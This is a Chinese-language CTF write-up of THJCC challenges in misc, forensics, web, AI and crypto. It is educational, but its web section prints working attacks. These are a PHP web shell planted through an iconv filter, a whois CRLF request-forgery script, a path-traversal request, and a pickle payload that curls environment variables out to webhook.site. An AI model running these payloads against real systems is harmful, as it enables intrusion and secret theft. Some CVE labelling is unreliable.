前言 這自跨年的Fh11401後我打的第二個 CTF,有了上次的經驗這次比賽就比較知道該用麼思路了來解題了,雖然還是很爛@@
也是獲得學生賽區第8名 以及Welcome就不放了
Reverse 我真的是很不會逆向,只有一題因為flag寫得很明顯有解出來,理所當然我也不會Pwn XD
Super baby reverse 給了一個名為THJCC_Super_Baby_Reverse的檔案 開IDA 在hex中看到flag 去掉H的干擾
flag:THJCC{BaBY_r3v3rs3_f0r_beggin3r}
Misc 不得不說binwalk真的很好用 很多題目都用這個解
IMAGE? 給了一個魔法阿嬤的圖 問了AI了解了binwalk這個好用的工具
1 2 3 4 5 6 7 $ binwalk -e THJCC_IMAGE.png DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 3297649 0x325171 Zip archive data, at least v1.0 to extract, name: cute/ 3297712 0x3251B0 Zip archive data, at least v2.0 to extract, compressed size: 3295808, uncompressed size: 3297649, name: cute/F.png 6593588 0x649C34 Zip archive data, at least v2.0 to extract, compressed size: 2009795, uncompressed size: 2009485, name: cute/F3.png
裡面有一個/cute資料夾其中一張png就是flag
flag:THJCC{fRierEN-OS_cUTe:)}
Provisioning in Progress 題目講了是要檢索名為AS201943的授權令牌fishbaby1011你會不會太酷了這邊給到頂級 在NOC Portal (http://fishbaby1011.net/ ) 資訊中看到了資源配置表 題目講道NOC授權令牌被綁定在真正在路由表上活躍的網段之中 其為2a14:7581:6fa0::/48 使用WHOIS查詢
1 $ whois -h whois.ripe.net -B 2a14:7581:6fa0::/48
看到remarks為v1.fWxhZXJfZXJhX3NleGlmZXJwX2RlY251b25uYV95bG5ve2Njamh0 去掉v1.後解base64
1 }laer_era_sexiferp_decnuonna_ylno{ccjht
反轉後得可得
flag:thjcc{only_announced_prefixes_are_real}所以fishbaby1011為甚麼你的flag是小寫
Metro 給了一張捷運站內拍的圖需要找站名跟樓層 注意到途中有一小湖以及給我的感覺像是青埔南崁那邊對我就是通靈王 沿著機捷看衛星地圖,看到鼻山站很符合要求
flag:THJCC{A10-3F}
哦更愛你了 給了.HEIC的圖檔 圖像是燒肉我好餓我也要吃 在經過一貫的測試後發現使用binwalk可以看到裡面有隱藏的檔案
1 2 3 4 5 6 7 $ binwalk -e challenge.HEIC DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- WARNING: Extractor.execute failed to run external extractor 'jar xvf '%e'': [Errno 2] No such file or directory: 'jar', 'jar xvf '%e'' might not be installed correctly 2572595 0x274133 Zip archive data, encrypted at least v1.0 to extract, compressed size: 27, uncompressed size: 15, name: flag.txt
名為2572595.zip的檔案其中有flag.txt 需要輸入密碼 根據提示在這特別的日子裡,送給你們一首非常特別的歌曲,特別的八字給特別的你(忽略標點符號)以及題目的圖片推斷密碼為19190810或11451419竟然不對這不合理!!!! 根據特別的八字推斷密碼是8個位元 使用fcrackzip爆破
1 fcrackzip -b -c 1 -l 8-8 -u _challenge.HEIC.extracted
得到密碼30000810
flag:THJCC{Y@JUNlKU}
所以為甚麼不是11451419,我要申訴(ノ`Д´)ノ
Forensics I use arch btw
按照題目敘述應該也是檔案被隱藏在其中 使用binwalk
1 2 3 4 5 $ binwalk -e THJCC_I_use_arch_btw.jpg DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 76507 0x12ADB Zip archive data, at least v2.0 to extract, compressed size: 6284, uncompressed size: 9216, name: readme.xlsx
給了兩個redme.xlsx其中一在12ADB.zip且皆有密碼保護 使用線上的工具破解檔案 破解後得到
flag:THJCC{7h15_15_7h3_m3554g3….._1_u53_4rch_b7w}
TV 提供了一個.flac音檔 按照題目名稱推斷有可能是SSTV ,是過去業餘無線電愛好者的一種圖片傳輸方法 使用QSSTV監聽音訊
不太會用只會開自動檔 所以很容易中斷擷取到部分不完整 但已足夠推斷
flag:THJCC{sSTv-is_aMaZINg}
ExBaby Shark Master 題目給了一pcapng封包檔 嘗試篩選THJCC沒想到真的成功了
其明文就是flag
THJCC{1t’S-3Asy*-r1gh7?????}
我根本通靈王有人要跟我組金盾嗎
Web 這邊給到夯 解最多的題目就是web,真的很適合給新手打(我就是
Las Vegas 一個拉霸機 按pull後會請求/n=三位數的封包
題目內文說了Lucky 7 7 7 使用Burp Suitre修改請求的封包
flag:THJCC{LUcKy_sEVen_9111e6058407f339}
Ear 題目說明這是CWE-698 漏洞,向客戶端發送了重定向指令,但並未终止原始頁面後續代碼的執行 嘗試 admin.php這個常見的後台管理頁面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $ curl -i http://chal.thjcc.org:1234/admin.php HTTP/1.1 302 Found Date: Sun, 22 Feb 2026 22:45:23 GMT Server: Apache/2.4.66 (Debian) X-Powered-By: PHP/8.5.3 Set-Cookie: PHPSESSID=e7becd48283171190c25e91dceb1f3ff; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Location: index.php Content-Length: 247 Content-Type: text/html; charset=UTF-8 <!doctype html> <html> <head><meta charset="utf-8"><title>Admin Panel</title></head> <body> <p>Admin Panel</p> <p><a href="status.php">Status page</a></p> <p><a href="image.php">Image</a></p> <p><a href="system.php">Setting</a></p> </body> </html>
請求system.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 HTTP/1.1 302 Found Date: Sun, 22 Feb 2026 22:46:19 GMT Server: Apache/2.4.66 (Debian) X-Powered-By: PHP/8.5.3 Set-Cookie: PHPSESSID=ea3569cd766263de18c0d6498665f634; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Location: index.php Content-Length: 184 Content-Type: text/html; charset=UTF-8 <!doctype html> <html> <head><meta charset="utf-8"><title>Admin Panel</title></head> <body> <p>System settings</p> <p>THJCC{f00c263454c4da44_U_kNoW-HOw-t0_uSe-EaR}</p> </body> </html>
flag:THJCC{f00c263454c4da44_U_kNoW-HOw-t0_uSe-EaR}
My First React 們發現了兩個關鍵的 React 元件: 登入介面: 在程式碼中可以看到註解字串 * try guest / guest。如果我們在網頁上輸入帳號 guest、密碼 guest,會成功登入並進入下一個畫面,但只會看到一行普通的問候語,拿不到 Flag
繼續往下看,會發現登入後渲染的元件有一段特別的邏輯檢查:
1 2 3 4 5 6 7 8 9 10 11 if (e === "admin" ) { let e = Math .floor (Date .now () / 1e4 ); const n = await async function (e ){ r = await crypto.subtle .digest ("SHA-1" , n); return Array .from (new Uint8Array (r)).map (e => e.toString (16 ).padStart (2 ,"0" )).join ("" ) }("" +e); const r = await fetch (n); const a = (await r.json ()).result ; o (a); }
取得當前的時間戳ms除以10000並無條件捨去 將這個數字字串進行 SHA-1 雜湊計算 將計算出來的 Hash 字母直接當作 URL 路徑(例如 /)發起 fetch 請求 伺服器驗證該 Hash 若符合當下時間就會回傳包含 Flag 的 JSON 資料
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 (async function() { let e = Math.floor(Date.now() / 1e4); const n = await async function(e){ const n = (new TextEncoder).encode(e), r = await crypto.subtle.digest("SHA-1", n); return Array.from(new Uint8Array(r)).map(e=>e.toString(16).padStart(2,"0")).join("") }(""+e); console.log("嘗試獲取 URL: /" + n); let r = await fetch(n); if (r.ok) { const data = await r.json(); console.log("Flag 是:", data.result || data); } else { console.error("狀態碼:", r.status); } })();
flag:THJCC{CSR_c4n_b3_d4ng3rrr0us!}
A long time ago… 題的核心是利用 PHP 老版本的 Type Juggling(弱型別比較) 漏洞 輸入0即可得flag
flag:THJCC{Meow_M3ow_Me0w}
Secret File Viewer 點擊後會下載A.txt、B.txt、C.txt 檔案C有重要提示 按鈕的功能是對download.php?file=做請求 改為download.php?file=/flag.txt
flag:THJCC{h0w_dID_y0u_br34k_q’5_pr073c710n???}
No Way Out 本題須繞過exit()且在檔案被背景腳本刪除的 0.67 秒內利用未被封鎖的 iconv 濾鏡破壞 exit() 語法結構,完成Web Shell 的寫入與執行。
原始碼 (index.php)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php error_reporting (0 ); $content = $_POST ['content' ]; $file = $_GET ['file' ]; if (isset ($file ) && isset ($content )) { $exit = '<?php exit(); ?>' ; $blacklist = ['base64' , 'rot13' , 'string.strip_tags' ]; foreach ($blacklist as $b ){ if (stripos ($file , $b ) !== false ){ die ('Hacker!!!' ); } } file_put_contents ($file , $exit . $content ); usleep (50000 ); echo 'file written: ' . $file ; } highlight_file (__FILE__ ); ?>
繞過黑名單b等常見濾鏡被擋 改用 php://filter/convert.iconv.UCS-2LE.UCS-2BE 將目標後門 <?php system($_GET[1]); ?> 預先手動對調為 ?<hp pystsme$(G_TE1[)] ;>? 寫入時經過伺服器濾鏡再次對調,完美還原為有效程式碼 利用while迴圈,在檔案被刪除的 0.67 秒極短空檔內,不斷發動寫入與讀取請求來進行碰撞
1 2 3 4 while true; do curl -s -X POST 'http://chal.thjcc.org:8080/index.php?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php' \ --data 'content=?<hp pystsme$(G_TE1[)] ;>?' > /dev/null done
另一視窗
1 2 3 while true; do curl -s 'http://chal.thjcc.org:8080/shell.php?1=cat%20/flag.txt' | grep -o 'THJCC{.*}' && break done
who is whois 分析原始碼還原被 Base64 與 XOR 混淆的 TOTP Secret,計算出動態密碼 利用 shlex.split() 的特性,傳遞 -h (指定 Host) 與 -p (指定 Port) 參數給系統的 whois 指令 藉由 whois 指令發送純文字的特性,精心構造包含 \r\n 的字串,偽造出一個標準的 HTTP POST 請求,藉此繞過 /flag 路由的 127.0.0.1 來源限制
exploit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 Python import requestsimport pyotpimport base64TARGET_URL = "http://chal.thjcc.org:13316/whois" raw = base64.b64decode("Jl5cLlcsI10sKCYhLS40IykpMyQnIF8wIjEtPTM6OzI=" ) secret = "" .join(chr (b ^ ord ("thjcc" [i % 5 ])) for i, b in enumerate (raw)) current_code = pyotp.TOTP(secret).now() payload = ( f'-h 127.0.0.1 -p 13316 "POST /flag HTTP/1.1\r\n' f'Host: 127.0.0.1\r\n' f'admin: thjcc\r\n' f'Content-Type: application/x-www-form-urlencoded\r\n' f'Content-Length: 14\r\n\r\n' f'safekey={current_code} "' ) r = requests.post(TARGET_URL, data={"domain" : payload}) print (r.text)
0422 正常登入後發現cookie 將role改為admin
flag:THJCC{c00k135_4r3_n07_53cur3_1f_n07_51gn3d_4nd_p13453_d0_7h3_53cur3_c0d1ng_r3v13w_101111}
msgboard 根據原始檔flag藏在環境變數裡 發現 /api/v1/send_email_code 的回應裡直接把驗證碼明文回傳 ,不用真的收信就能拿到驗證碼,直接註冊帳號。 看源碼發現 upload_image 有兩個 bug 疊在一起secure_filename(filename) 有呼叫,但回傳值被丟掉 ,完全沒效果 副檔名黑名單的 config key 寫 DISALLOWED_EXTENSION,但讀取時用 DISALLOWED_EXTENSIONS(多一個 S),永遠讀到 None,黑名單完全失效
結果就是可以上傳任意副檔名、任意內容的檔案 存檔時用的是
1 file.save(os.path.join(UPLOAD_FOLDER, filename))
Python 的 os.path.join 遇到絕對路徑會直接覆蓋前面的路徑 ,所以把 filename 設成 /python-docker/spam_classifier.joblib 就能把檔案寫到任意位置。 源碼裡的 check_for_spam() 每次發留言都會執行:
1 model = joblib.load("spam_classifier.joblib" )
joblib.load本質上是 pickle,pickle 反序列化時可以執行任意程式碼 。只要覆蓋這個檔案,下一次有人發留言就會觸發 RCE
製作exploit:
1 2 3 4 5 6 class Exploit (object ): def __reduce__ (self ): cmd = "curl 'https://webhook.site/...?x='\"$(env | base64)\"''" return (os.system, (cmd,)) payload = pickle.dumps(Exploit())
上傳覆蓋spam_classifier.joblib,然後自己發一篇留言觸發,環境變數就被 curl 出來了 Webhook 收到 base64
flag:THJCC{model2rce456ytrrghdrydhrth}
noaiiiiiiiiiiiiiii 在robots.txt中看到隱藏路徑 給予的是該題目的原始檔
下載後發現這是這個是這個 CVE-2017-14849 漏洞Node.js 8.5.0 對目錄進行 normalize 操作時,出現了邏輯錯誤。 當我們在向上層跳躍的路徑中,如果刻意在中間位置增加一個無意義的目錄切換,就會觸發這個 Bug 給予的原始檔描述了/flag_F7aQ9L2mX8RkC4ZP 也就是flag可能會出現在根節點
payload
1 curl --path-as-is http://chal.thjcc.org:3001/static/../../../a/../../../../flag_F7aQ9L2mX8RkC4ZP
不能直接把這段 URL 貼到瀏覽器的網址列 因為所有現代瀏覽器在送出請求前,都會在本地端先自動把 ../ 解析並抵銷掉
flag:THJCC{y0u_mu57_b3_4_r34l_hum4n_b3c4u53_0nly_4_hum4n_c4n_r34d_4nd_und3r574nd_7h15_fl46_c0rr3c7ly}
r2s 作者又提到「懶得更新伺服器」,這通常暗示該伺服器正運行著一個有知名漏洞的舊版本
注意到其Next.js版本為15.0.0 這給人的感覺就很刻意 查詢後發現有一通稱為React2Shell的漏洞(CVE-2025-29927) 在15.0.0<=Next.js版本< 15.2.3 使用github上名為NextRce 的漏洞利用腳本方便
1 $ python3 NextRCSWaff.py -u http://chal.thjcc.org:10458/ -c "ls -al /" --bypass
flag:THJCC{r34ct_ssr_rc3_1s_d4ng3r0us}
AI 我先說我覺得這是裡面極度通靈的題目
Deep Inverse 為了解決這個問題,需要反轉 model.pt 中的神經網路模型 找到一個 10 維輸入向量 x ,使得模型的輸出 f(x) 約為 1337.0 這通常是透過將其視為最佳化問題來實現的 使用輸入 x 上的梯度下降法來最小化模型預測值與目標值之間的損失
pwn模組的功能也可以加進去我懶
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 from pwn import *import torchimport torch.optim as optimimport numpy as npmodel = torch.jit.load('model.pt' , map_location='cpu' ) model.eval () target = 1337.0 def optimize_x (start_scale=1.0 , use_lbfgs=True , max_iters=30000 , loss_type='L2' ): x = torch.randn(1 , 10 , requires_grad=True ) if start_scale != 1.0 : x.data.mul_(start_scale) if use_lbfgs: optimizer = optim.LBFGS( [x], lr=0.8 , max_iter=50 , history_size=200 , line_search_fn='strong_wolfe' ) else : optimizer = optim.Adam([x], lr=0.1 ) best_loss = float ('inf' ) best_output = None best_x = None print (f"開始優化 (scale={start_scale} , optimizer={'LBFGS' if use_lbfgs else 'Adam' } , loss={loss_type} )..." ) for i in range (max_iters): def closure (): optimizer.zero_grad() out = model(x).squeeze() if loss_type == 'L2' : loss = (out - target) ** 2 else : loss = torch.abs (out - target) loss.backward() return loss current_loss = closure().item() if current_loss < best_loss: best_loss = current_loss best_output = model(x).squeeze().item() best_x = x.detach().clone() print (f"[改善] iter {i:5d} | loss {best_loss:12.6 f} | output {best_output:12.6 f} " ) optimizer.step(closure) if i % 2000 == 0 : print (f"iter {i:5d} | loss {current_loss:12.6 f} | output {model(x).squeeze().item():12.6 f} " ) if current_loss < 1e-5 : print ("已收斂!" ) break return best_x, best_loss, best_output configs = [ {'start_scale' : 1.0 , 'use_lbfgs' : True , 'loss_type' : 'L2' }, {'start_scale' : 10.0 , 'use_lbfgs' : True , 'loss_type' : 'L2' }, {'start_scale' : 50.0 , 'use_lbfgs' : True , 'loss_type' : 'L2' }, {'start_scale' : 100.0 , 'use_lbfgs' : True , 'loss_type' : 'L2' }, {'start_scale' : 10.0 , 'use_lbfgs' : False , 'loss_type' : 'L1' }, {'start_scale' : 50.0 , 'use_lbfgs' : False , 'loss_type' : 'L1' }, ] best_overall_loss = float ('inf' ) best_overall_x = None best_overall_output = None for config in configs: curr_x, curr_loss, curr_output = optimize_x(**config) if curr_loss < best_overall_loss: best_overall_loss = curr_loss best_overall_x = curr_x best_overall_output = curr_output print (f"此設定結束: loss {curr_loss:.10 f} , output {curr_output:.6 f} \n" ) if best_overall_x is None : print ("所有設定都失敗,請試更大 scale 或更多 iter" ) exit(1 ) payload = ',' .join(f"{v:.10 f} " for v in best_overall_x.view(-1 ).tolist()) print (f"\n最終最佳 x: {payload} " )print (f"本地預期輸出: {best_overall_output:.6 f} (loss: {best_overall_loss:.10 f} )" )r = remote('chal.thjcc.org' , 1337 ) r.recvuntil(b'> ' ) print ("\n送出..." )r.sendline(payload.encode()) response = r.recvall(timeout=5 ).decode(errors='ignore' ) print ("\nServer 回應:" )print (response)r.close()
flag:THJCC{Stoc4st1c_W3ight_D3sc3nt_M4st3r_xedrftginjk54896ghjbijkml52563201}
NEURAL_OVERRIDE 題目有伊綱诶 超喜歡 這題我也不知道發生什麼事 丟了一個他提供的.pt檔我就過了 然後現在過不了也不知道怎麼解釋的XD
flag:THJCC{y0ur_ar3_the_adv3rs3r1al_attack_m0st3r}
Crypto 676767 six seven~
random.seed(x) 在處理整數 x 時,底層實作會自動取絕對值 abs(x) 利用題目限制了 a = 0 或 a = 1 會直接退出程式 輸入 a = -1 且 b = 0,使得 a*seed + b 的計算結果為 -seed。透過絕對值轉換random.seed(-seed) 的狀態會完美還原成初始的 random.seed(seed) 程式開頭洩漏的 10 個數字是使用 random.getrandbits(256) 產生的 但在後續的驗證階段,使用的是 random.randrange(base) 題目的 base 是一個略小於 $2^{256}$ 的大整數 當 Python 執行 randrange(base) 時,會先呼叫 getrandbits(256) 若抽出的數字 $\ge base$,就會觸發拒絕採樣並重新抽樣。這個隱含的重新抽樣會額外消耗 PRNG 的內部狀態,導致我們預測的序列與伺服器發生錯位驗證失敗 寫腳本不斷重新連線(刷首抽),直到伺服器洩漏的 10 個數字全部都 $< base$。在這種完美開局下,randrange(base) 絕對不會觸發重新抽樣,我們即可將這 10 個數字原封不動送回,順利通過驗證
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *base = 86844066927987146567678238756515930889952488499230423029593188005934867676767 context.log_level = 'error' def solve (): attempts = 0 print ("[*] 開始暴力刷首抽尋找幸運數列..." ) while True : attempts += 1 try : r = remote('chal.thjcc.org' , 48764 ) vals = [] for _ in range (10 ): line = r.recvline().decode().strip() val = int (line.replace('< ' , '' )) vals.append(val) if all (v < base for v in vals): print (f"[+] 在第 {attempts} 次連線時找到幸運數列!開始進行攻擊..." ) r.sendlineafter(b"a>" , b"-1" ) r.sendlineafter(b"b>" , b"0" ) for v in vals: r.sendlineafter(b"> " , str (v).encode()) print ("[+] 成功!伺服器回應:" ) print (r.recvall().decode()) break else : r.close() if attempts % 10 == 0 : print (f"[*] 已經嘗試了 {attempts} 次,繼續尋找中..." ) except EOFError: r.close() if __name__ == '__main__' : solve()